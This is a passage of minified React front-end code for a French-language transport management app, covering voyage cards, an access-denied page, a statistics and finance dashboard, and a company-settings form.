v=y.unreadMessagesCount||0,w=v&gt;0,j=y.incidents?.reduce((_,C)=&gt;_+(C.messageCount||0),0)||0,E=j-v;let S=&quot;&quot;;return y.hasUrgentIncident?S=&quot;border-l-red-500 bg-red-50/50 dark:bg-red-950/20&quot;:y.hasOpenIncident?S=&quot;border-l-orange-500 bg-orange-50/50 dark:bg-orange-950/20&quot;:w&amp;&amp;(S=&quot;border-l-blue-500 bg-blue-50/50 dark:bg-blue-950/20&quot;),a.jsx(it,{className:`cursor-pointer hover:shadow-lg transition-all border-l-4 ${S||&quot;border-l-gray-300&quot;}`,onClick:()=&gt;p(y.id),children:a.jsx(Et,{className:&quot;p-5&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0 space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(Fa,{className:&quot;h-5 w-5 text-muted-foreground flex-shrink-0&quot;}),a.jsx(&quot;h3&quot;,{className:&quot;font-semibold text-lg truncate&quot;,children:y.title||y.code}),y.hasUrgentIncident&amp;&amp;a.jsxs(yt,{variant:&quot;destructive&quot;,className:&quot;flex items-center gap-1&quot;,children:[a.jsx(Kn,{className:&quot;h-3 w-3&quot;}),&quot;Urgent&quot;]}),y.hasOpenIncident&amp;&amp;!y.hasUrgentIncident&amp;&amp;a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;border-orange-500 text-orange-700 dark:text-orange-400 bg-orange-50 dark:bg-orange-950/30&quot;,children:[a.jsx(Bl,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;En cours&quot;]})]}),y.code&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs font-mono text-muted-foreground mb-2&quot;,children:y.code})]}),w&amp;&amp;a.jsx(yt,{variant:&quot;destructive&quot;,className:&quot;flex items-center justify-center min-w-[28px] h-7 px-2.5 rounded-full text-sm font-semibold&quot;,children:v&gt;99?&quot;99+&quot;:v})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-sm&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4 text-primary flex-shrink-0&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:y.loadingSite}),a.jsx(ov,{className:&quot;h-3 w-3 text-muted-foreground flex-shrink-0&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:y.unloadingSite})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-sm text-muted-foreground&quot;,children:[a.jsx(dm,{className:&quot;h-4 w-4 flex-shrink-0&quot;}),a.jsx(&quot;span&quot;,{children:y.clientName})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4 pt-2 border-t&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(xm,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-xs&quot;,children:[w&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;font-semibold text-blue-600 dark:text-blue-400&quot;,children:[v,&quot; non lu&quot;,v&gt;1?&quot;s&quot;:&quot;&quot;]}),E&gt;0&amp;&amp;a.jsxs(a.Fragment,{children:[w&amp;&amp;a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;•&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:[E,&quot; lu&quot;,E&gt;1?&quot;s&quot;:&quot;&quot;]})]}),j===0&amp;&amp;a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucun message&quot;})]})]}),y.incidentCount&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[y.incidentCount,&quot; incident&quot;,y.incidentCount&gt;1?&quot;s&quot;:&quot;&quot;]})]})]})]}),y.mainDriver&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-end gap-2 flex-shrink-0&quot;,children:[a.jsx(Dm,{className:&quot;h-10 w-10 border-2 border-primary/20&quot;,children:y.mainDriver.profile?.avatar?a.jsx(Tm,{src:Sr(y.mainDriver.profile.avatar)||void 0,alt:y.mainDriver.name||&quot;Chauffeur&quot;}):a.jsx(Rm,{className:&quot;bg-primary/10 text-primary text-sm&quot;,children:y.mainDriver.name?.split(&quot; &quot;).map(_=&gt;_[0]).join(&quot;&quot;).toUpperCase().substring(0,2)||&quot;DR&quot;})}),y.createdAt&amp;&amp;a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground text-right&quot;,children:Wr(new Date(y.createdAt),&quot;dd/MM/yyyy&quot;,{locale:Hr})})]})]})})},y.id)})})]})}function Q3({message:e=&quot;Vous n&#039;avez pas les permissions nécessaires pour accéder à cette page.&quot;,actionLabel:t,actionPath:r,showBackButton:n=!0}){const i=k4(),s=()=&gt;{i.mutate()};return a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center min-h-screen p-4&quot;,children:a.jsxs(it,{className:&quot;w-full max-w-md&quot;,children:[a.jsxs(br,{className:&quot;text-center&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex justify-center mb-4&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;rounded-full bg-destructive/10 p-4&quot;,children:a.jsx(uv,{className:&quot;h-12 w-12 text-destructive&quot;})})}),a.jsx(jr,{className:&quot;text-2xl&quot;,children:&quot;Accès interdit&quot;}),a.jsx(wn,{className:&quot;text-base mt-2&quot;,children:e})]}),a.jsx(Et,{children:a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center&quot;,children:&quot;Si vous pensez qu&#039;il s&#039;agit d&#039;une erreur, veuillez contacter votre administrateur.&quot;})}),a.jsxs(_m,{className:&quot;flex flex-col gap-2&quot;,children:[r&amp;&amp;t&amp;&amp;a.jsx(ge,{asChild:!0,className:&quot;w-full&quot;,children:a.jsx(jm,{href:r,to:r,children:t})}),n&amp;&amp;a.jsx(ge,{variant:&quot;outline&quot;,asChild:!0,className:&quot;w-full&quot;,children:a.jsxs(jm,{href:&quot;/&quot;,to:&quot;/&quot;,children:[a.jsx(Ase,{className:&quot;mr-2 h-4 w-4&quot;}),&quot;Retour au tableau de bord&quot;]})}),a.jsxs(ge,{variant:&quot;outline&quot;,onClick:s,disabled:i.isPending,className:&quot;w-full&quot;,children:[a.jsx(m4,{className:&quot;mr-2 h-4 w-4&quot;}),i.isPending?&quot;Déconnexion...&quot;:&quot;Se déconnecter&quot;]})]})]})})}function hqe(){return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg font-semibold&quot;,children:&quot;Vue générale&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Contenu à définir&quot;})]})}function mqe(){return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg font-semibold&quot;,children:&quot;Exploitation transport&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Contenu à définir&quot;})]})}function pqe(){return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg font-semibold&quot;,children:&quot;Parc &amp; Véhicules&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Contenu à définir&quot;})]})}function gqe(){return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg font-semibold&quot;,children:&quot;Ressources humaines&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Contenu à définir&quot;})]})}function Aqe(){return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg font-semibold&quot;,children:&quot;Incidents &amp; Qualité&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Contenu à définir&quot;})]})}function Ed(e){return new Intl.NumberFormat(&quot;fr-FR&quot;,{style:&quot;currency&quot;,currency:&quot;XOF&quot;,minimumFractionDigits:0,maximumFractionDigits:0}).format(e)}function xqe(){const{data:e=[],isLoading:t}=cr({queryKey:[&quot;/api/voyages&quot;],queryFn:()=&gt;vy()}),{data:r=[],isLoading:n}=cr({queryKey:[&quot;/api/mission-revenues&quot;],queryFn:()=&gt;_He()}),{data:i=[],isLoading:s}=cr({queryKey:[&quot;/api/mission-expenses&quot;],queryFn:async()=&gt;{try{return await MHe()}catch(p){return console.warn(&quot;Endpoint /api/mission-expenses non disponible:&quot;,p),[]}}}),{data:o=[],isLoading:l}=cr({queryKey:[&quot;/api/voyage-expenses&quot;],queryFn:()=&gt;A$()}),c=t||n||s||l,d=I.useMemo(()=&gt;{const p=r.reduce((E,S)=&gt;E+(S.montantRecu||S.montantPrevu||0),0),A=i.reduce((E,S)=&gt;E+(S.montant||0),0),y=o.reduce((E,S)=&gt;E+(S.amountFcfa||0),0),v=A+y,w=p-v,j=p&gt;0?w/p*100:0;return{totalRevenues:p,totalVoyageGeneralExpenses:A,totalVoyageExpenses:y,totalExpenses:v,profit:w,margin:j}},[r,i,o]),u=I.useMemo(()=&gt;e.map(p=&gt;{const A=r.filter(Q=&gt;Q.missionId===p.id||Q.voyageId===p.id),y=A.reduce((Q,R)=&gt;Q+(R.montantRecu||R.montantPrevu||0),0),v=i.filter(Q=&gt;Q.missionId===p.id||Q.voyageId===p.id),w=v.reduce((Q,R)=&gt;Q+(R.montant||0),0),j=o.filter(Q=&gt;Q.voyageId===p.id),E=j.reduce((Q,R)=&gt;Q+(R.amountFcfa||0),0),S=w+E,_=y-S,C=y&gt;0?_/y*100:0;return{voyage:p,revenues:y,expenses:S,profit:_,margin:C,revenueCount:A.length,expenseCount:v.length+j.length}}),[e,r,i,o]),h=I.useMemo(()=&gt;[...u].sort((p,A)=&gt;{const y=p.voyage.createdAt?new Date(p.voyage.createdAt).getTime():0;return(A.voyage.createdAt?new Date(A.voyage.createdAt).getTime():0)-y}),[u]);return c?a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-4&quot;,children:[a.jsxs(it,{children:[a.jsxs(br,{className:&quot;flex flex-row items-center justify-between space-y-0 pb-2&quot;,children:[a.jsx(jr,{className:&quot;text-sm font-medium&quot;,children:&quot;Revenus Totaux&quot;}),a.jsx(l1,{className:&quot;h-4 w-4 text-muted-foreground&quot;})]}),a.jsxs(Et,{children:[a.jsx(&quot;div&quot;,{className:&quot;text-2xl font-bold text-green-600&quot;,children:Ed(d.totalRevenues)}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:[a.jsx(ew,{className:&quot;inline h-3 w-3 mr-1&quot;}),&quot;Total payé par les clients&quot;]})]})]}),a.jsxs(it,{children:[a.jsxs(br,{className:&quot;flex flex-row items-center justify-between space-y-0 pb-2&quot;,children:[a.jsx(jr,{className:&quot;text-sm font-medium&quot;,children:&quot;Coûts Totaux&quot;}),a.jsx(ey,{className:&quot;h-4 w-4 text-muted-foreground&quot;})]}),a.jsxs(Et,{children:[a.jsx(&quot;div&quot;,{className:&quot;text-2xl font-bold text-red-600&quot;,children:Ed(d.totalExpenses)}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:[&quot;Dépenses générales: &quot;,Ed(d.totalVoyageGeneralExpenses),a.jsx(&quot;br&quot;,{}),&quot;Dépenses voyages: &quot;,Ed(d.totalVoyageExpenses)]})]})]}),a.jsxs(it,{children:[a.jsxs(br,{className:&quot;flex flex-row items-center justify-between space-y-0 pb-2&quot;,children:[a.jsx(jr,{className:&quot;text-sm font-medium&quot;,children:&quot;Bénéfice Net&quot;}),a.jsx(ew,{className:&quot;h-4 w-4 text-muted-foreground&quot;})]}),a.jsxs(Et,{children:[a.jsx(&quot;div&quot;,{className:`text-2xl font-bold ${d.profit&gt;=0?&quot;text-green-600&quot;:&quot;text-red-600&quot;}`,children:Ed(Math.abs(d.profit))}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:d.profit&gt;=0?a.jsxs(&quot;span&quot;,{className:&quot;text-green-600&quot;,children:[a.jsx(ose,{className:&quot;inline h-3 w-3 mr-1&quot;}),&quot;Bénéfice&quot;]}):a.jsxs(&quot;span&quot;,{className:&quot;text-red-600&quot;,children:[a.jsx(ase,{className:&quot;inline h-3 w-3 mr-1&quot;}),&quot;Perte&quot;]})})]})]}),a.jsxs(it,{children:[a.jsxs(br,{className:&quot;flex flex-row items-center justify-between space-y-0 pb-2&quot;,children:[a.jsx(jr,{className:&quot;text-sm font-medium&quot;,children:&quot;Marge (%)&quot;}),a.jsx(po,{className:&quot;h-4 w-4 text-muted-foreground&quot;})]}),a.jsxs(Et,{children:[a.jsxs(&quot;div&quot;,{className:`text-2xl font-bold ${d.margin&gt;=0?&quot;text-green-600&quot;:&quot;text-red-600&quot;}`,children:[d.margin.toFixed(1),&quot;%&quot;]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mt-1&quot;,children:&quot;Taux de marge globale&quot;})]})]})]}),d.totalRevenues&gt;0&amp;&amp;a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{className:&quot;text-sm&quot;,children:&quot;Répartition des montants&quot;}),a.jsx(wn,{children:&quot;Visualisation des revenus et dépenses&quot;})]}),a.jsxs(Et,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between text-xs&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-green-600 dark:text-green-400&quot;,children:&quot;Revenus&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:Ed(d.totalRevenues)})]}),a.jsx(&quot;div&quot;,{className:&quot;h-4 bg-green-200 dark:bg-green-900 rounded-full overflow-hidden&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;h-full bg-green-500&quot;,style:{width:&quot;100%&quot;}})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between text-xs&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-red-600 dark:text-red-400&quot;,children:&quot;Dépenses&quot;}),a.jsx(&quot;span&quot;,{className:&quot;font-semibold&quot;,children:Ed(d.totalExpenses)})]}),a.jsx(&quot;div&quot;,{className:&quot;h-4 bg-red-200 dark:bg-red-900 rounded-full overflow-hidden&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;h-full bg-red-500&quot;,style:{width:`${d.totalRevenues&gt;0?d.totalExpenses/d.totalRevenues*100:0}%`}})})]})]})]}),a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Détail par voyage&quot;}),a.jsx(wn,{children:&quot;Revenus et dépenses de chaque voyage&quot;})]}),a.jsx(Et,{children:h.length===0?a.jsx(&quot;div&quot;,{className:&quot;text-center py-12 text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Aucun voyage trouvé&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:h.map(({voyage:p,revenues:A,expenses:y,profit:v,margin:w,revenueCount:j,expenseCount:E})=&gt;a.jsx(jm,{href:`/voyages/${p.id}?tab=argent`,children:a.jsx(it,{className:&quot;hover:bg-muted/50 transition-colors cursor-pointer&quot;,children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex items-start justify-between&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsxs(&quot;h3&quot;,{className:&quot;font-semibold&quot;,children:[&quot;Voyage #&quot;,p.id]}),p.code&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[&quot;(&quot;,p.code,&quot;)&quot;]})]}),p.createdAt&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-3&quot;,children:Wr(new Date(p.createdAt),&quot;PPP&quot;,{locale:Hr})}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-4 gap-4 text-sm&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Revenus&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-green-600&quot;,children:Ed(A)}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[j,&quot; entrée(s)&quot;]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Dépenses&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-red-600&quot;,children:Ed(y)}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[E,&quot; entrée(s)&quot;]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Bénéfice&quot;}),a.jsx(&quot;p&quot;,{className:`font-semibold ${v&gt;=0?&quot;text-green-600&quot;:&quot;text-red-600&quot;}`,children:Ed(Math.abs(v))}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:v&gt;=0?&quot;Bénéfice&quot;:&quot;Perte&quot;})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground text-xs&quot;,children:&quot;Marge&quot;}),a.jsxs(&quot;p&quot;,{className:`font-semibold ${w&gt;=0?&quot;text-green-600&quot;:&quot;text-red-600&quot;}`,children:[w.toFixed(1),&quot;%&quot;]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:w&gt;=0?&quot;Positive&quot;:&quot;Négative&quot;})]})]})]})})})})},p.id))})})]})]})}const F3=[{id:&quot;vue-generale&quot;,label:&quot;Vue générale&quot;,path:&quot;/statistiques/vue-generale&quot;,icon:h4},{id:&quot;exploitation&quot;,label:&quot;Exploitation transport&quot;,path:&quot;/statistiques/exploitation&quot;,icon:Jv},{id:&quot;parc-vehicules&quot;,label:&quot;Parc &amp; Véhicules&quot;,path:&quot;/statistiques/parc-vehicules&quot;,icon:Fa},{id:&quot;ressources-humaines&quot;,label:&quot;Ressources humaines&quot;,path:&quot;/statistiques/ressources-humaines&quot;,icon:Sm},{id:&quot;incidents-qualite&quot;,label:&quot;Incidents &amp; Qualité&quot;,path:&quot;/statistiques/incidents-qualite&quot;,icon:Kn},{id:&quot;finance&quot;,label:&quot;Finance&quot;,path:&quot;/statistiques/finance&quot;,icon:l1}];function lO(){const[e,t]=Gi(),n=F3.find(s=&gt;e===s.path)?.id||&quot;vue-generale&quot;;I.useEffect(()=&gt;{e===&quot;/statistiques&quot;&amp;&amp;t(&quot;/statistiques/vue-generale&quot;,{replace:!0})},[e,t]);const i=s=&gt;{const o=F3.find(l=&gt;l.id===s);o&amp;&amp;t(o.path)};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsx(Jv,{className:&quot;h-8 w-8 text-primary&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-semibold&quot;,children:&quot;Statistiques&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Analyse et suivi des performances&quot;})]})]}),a.jsxs(ul,{value:n,onValueChange:i,className:&quot;space-y-6&quot;,children:[a.jsx(Ro,{className:&quot;grid w-full grid-cols-2 md:grid-cols-3 lg:grid-cols-6&quot;,children:F3.map(s=&gt;{const o=s.icon;return a.jsxs(hn,{value:s.id,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(o,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;hidden sm:inline&quot;,children:s.label}),a.jsx(&quot;span&quot;,{className:&quot;sm:hidden&quot;,children:s.label.split(&quot; &quot;)[0]})]},s.id)})}),a.jsx(dn,{value:&quot;vue-generale&quot;,className:&quot;space-y-4&quot;,children:a.jsx(hqe,{})}),a.jsx(dn,{value:&quot;exploitation&quot;,className:&quot;space-y-4&quot;,children:a.jsx(mqe,{})}),a.jsx(dn,{value:&quot;parc-vehicules&quot;,className:&quot;space-y-4&quot;,children:a.jsx(pqe,{})}),a.jsx(dn,{value:&quot;ressources-humaines&quot;,className:&quot;space-y-4&quot;,children:a.jsx(gqe,{})}),a.jsx(dn,{value:&quot;incidents-qualite&quot;,className:&quot;space-y-4&quot;,children:a.jsx(Aqe,{})}),a.jsx(dn,{value:&quot;finance&quot;,className:&quot;space-y-4&quot;,children:a.jsx(xqe,{})})]})]})}function vqe(){const{data:e,isLoading:t,error:r}=WS(),n=lH(),[i,s]=I.useState({companyName:&quot;&quot;,legalName:&quot;&quot;,addressLine:&quot;&quot;,city:&quot;&quot;,country:&quot;&quot;,phone:&quot;&quot;,email:&quot;&quot;,website:&quot;&quot;,taxId:&quot;&quot;,logoUrl:&quot;&quot;,cloudinaryCloudName:&quot;&quot;,cloudinaryApiKey:&quot;&quot;,cloudinaryApiSecret:&quot;&quot;,dispatchPhone:&quot;&quot;,mechanicPhone:&quot;&quot;}),[o,l]=I.useState({});I.useEffect(()=&gt;{e&amp;&amp;s({companyName:e.companyName||&quot;&quot;,legalName:e.legalName||&quot;&quot;,addressLine:e.addressLine||&quot;&quot;,city:e.city||&quot;&quot;,country:e.country||&quot;&quot;,phone:e.phone||&quot;&quot;,email:e.email||&quot;&quot;,website:e.website||&quot;&quot;,taxId:e.taxId||&quot;&quot;,logoUrl:e.logoUrl||&quot;&quot;,dispatchPhone:e.dispatchPhone||&quot;&quot;,mechanicPhone:e.mechanicPhone||&quot;&quot;})},[e]);const c=()=&gt;{const p={};return(!i.companyName||i.companyName.trim()===&quot;&quot;)&amp;&amp;(p.companyName=&quot;La dénomination commerciale est obligatoire&quot;),i.email&amp;&amp;i.email.trim()!==&quot;&quot;&amp;&amp;(/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(i.email)||(p.email=&quot;Format d&#039;email invalide&quot;)),l(p),Object.keys(p).length===0},d=async p=&gt;{if(p.preventDefault(),!c())return;const A={companyName:i.companyName||void 0,legalName:i.legalName||void 0,addressLine:i.addressLine||void 0,city:i.city||void 0,country:i.country||void 0,phone:i.phone||void 0,email:i.email||void 0,website:i.website||void 0,taxId:i.taxId||void 0,logoUrl:i.logoUrl||void 0,dispatchPhone:i.dispatchPhone||void 0,mechanicPhone:i.mechanicPhone||void 0};await n.mutateAsync(A)},u=()=&gt;{e&amp;&amp;s({companyName:e.companyName||&quot;&quot;,legalName:e.legalName||&quot;&quot;,addressLine:e.addressLine||&quot;&quot;,city:e.city||&quot;&quot;,country:e.country||&quot;&quot;,phone:e.phone||&quot;&quot;,email:e.email||&quot;&quot;,website:e.website||&quot;&quot;,taxId:e.taxId||&quot;&quot;,logoUrl:e.logoUrl||&quot;&quot;,dispatchPhone:e.dispatchPhone||&quot;&quot;,mechanicPhone:e.mechanicPhone||&quot;&quot;}),l({})},h=(p,A)=&gt;{s(y=&gt;({...y,[p]:A})),o[p]&amp;&amp;l(y=&gt;{const v={...y};return delete v[p],v})};return t?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):r?(r instanceof Error&amp;&amp;r.message,a.jsxs(&quot;div&quot;,{className:&quot;text-center py-12 space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-destructive font-medium&quot;,children:&quot;Erreur lors du chargement des paramètres&quot;}),!1,a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[&quot;Vérifiez que la table &quot;,a.jsx(&quot;code&quot;,{className:&quot;bg-muted px-1 rounded&quot;,children:&quot;organization_settings&quot;}),&quot; existe dans la base de données.&quot;]})]})):a.jsxs(&quot;form&quot;,{onSubmit:d,className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;companyName&quot;,children:[&quot;Dénomination commerciale &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;companyName&quot;,value:i.companyName,onChange:p=&gt;h(&quot;companyName&quot;,p.target.value),placeholder:&quot;Ex: TRANSPORTS DIALLO&quot;,className:o.companyName?&quot;border-destructive&quot;:&quot;&quot;}),o.companyName&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-destructive&quot;,children:o.companyName})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;legalName&quot;,children:&quot;Raison sociale&quot;}),a.jsx(Xe,{id:&quot;legalName&quot;,value:i.legalName,onChange:p=&gt;h(&quot;legalName&quot;,p.target.value),placeholder:&quot;Ex: TRANSPORTS DIALLO SARL&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 md:col-span-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;addressLine&quot;,children:&quot;Adresse&quot;}),a.jsx(Xe,{id:&quot;addressLine&quot;,value:i.addressLine,onChange:p=&gt;h(&quot;addressLine&quot;,p.target.value),placeholder:&quot;Ex: Secteur 21, Karpala&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;city&quot;,children:&quot;Ville&quot;}),a.jsx(Xe,{id:&quot;city&quot;,value:i.city,onChange:p=&gt;h(&quot;city&quot;,p.target.value),placeholder:&quot;Ex: Ouagadougou&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;country&quot;,children:&quot;Pays&quot;}),a.jsx(Xe,{id:&quot;country&quot;,value:i.country,onChange:p=&gt;h(&quot;country&quot;,p.target.value),placeholder:&quot;Ex: Burkina Faso&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;phone&quot;,children:&quot;Téléphone&quot;}),a.jsx(Xe,{id:&quot;phone&quot;,value:i.phone,onChange:p=&gt;h(&quot;phone&quot;,p.target.value),placeholder:&quot;Ex: +226 70 00 00 00&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;email&quot;,children:&quot;Email&quot;}),a.jsx(Xe,{id:&quot;email&quot;,type:&quot;email&quot;,value:i.email,onChange:p=&gt;h(&quot;email&quot;,p.target.value),placeholder:&quot;Ex: contact@transportsdiallo.com&quot;,className:o.email?&quot;border-destructive&quot;:&quot;&quot;}),o.email&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-sm text-destructive&quot;,children:o.email})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;website&quot;,children:&quot;Site web&quot;}),a.jsx(Xe,{id:&quot;website&quot;,value:i.website,onChange:p=&gt;h(&quot;website&quot;,p.target.value),placeholder:&quot;Ex: https://www.transportsdiallo.com&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;taxId&quot;,children:&quot;N° RCCM / IFU / N° contribuable&quot;}),a.jsx(Xe,{id:&quot;taxId&quot;,value:i.taxId,onChange:p=&gt;h(&quot;taxId&quot;,p.target.value),placeholder:&quot;Ex: RCCM-OUAGA-2024-A-12345&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 pt-6 border-t&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h3&quot;,{className:&quot;text-lg font-semibold mb-2&quot;,children:&quot;Contacts d&#039;urgence (PWA Chauffeur)&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-4&quot;,children:&quot;Ces numéros seront affichés dans la page d&#039;aide de l&#039;application PWA pour les chauffeurs.&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 